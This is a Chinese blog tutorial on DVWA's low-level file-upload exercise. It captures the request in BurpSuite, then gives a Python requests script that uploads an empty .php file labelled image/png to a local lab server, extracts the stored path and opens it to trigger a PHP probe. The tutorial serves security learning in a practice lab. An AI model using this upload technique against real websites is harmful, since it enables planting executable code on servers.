python-requests模拟文件上传

DVWA靶场的文件上传关卡,初级

先上传文件,使用BurpSuite抓取数据包

python-requests模拟文件上传_第1张图片

POST请求的数据包发送到Repeater模块

分析使用Python的requests模块发送请求需要携带哪些参数

也可以打开F12,点击Network查看需要携带哪些请求体参数

python-requests模拟文件上传_第2张图片

python-requests模拟文件上传_第3张图片

python-requests模拟文件上传_第4张图片

python-requests模拟文件上传_第5张图片

请求头:

"Cookie":"security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"

请求体:

"MAX_FILE_SIZE": "100000"
"uploaded": "(binary)"
"Upload": "Upload"

上传的文件数据可以在BurpSuite抓取到的数据包中查看

python-requests模拟文件上传_第6张图片

发现请求体中的uploaded参数的值 "(binary)"里面的二进制数据就应该是BurpSuite中的文件名,文件内容,文件类型

文件内容:

"uploaded":('1.php','','image/png')

上传的文件需要在requests.postfiles参数里

实现代码:

import requests
from bs4 import BeautifulSoup

url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'

headers = {
    "User-Agent": "",
    "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
    "MAX_FILE_SIZE": "100000",
    "Upload": "Upload"
}

files = {
    "uploaded": ('2.php', '', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)

# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path)                     #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path)  #http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/../../hackable/uploads/2.php

文件上传成功!

python-requests模拟文件上传_第7张图片

得到上传路径!

python-requests模拟文件上传_第8张图片

访问链接,触发php探针

python-requests模拟文件上传_第9张图片

你可能感兴趣的:(Python,python,开发语言)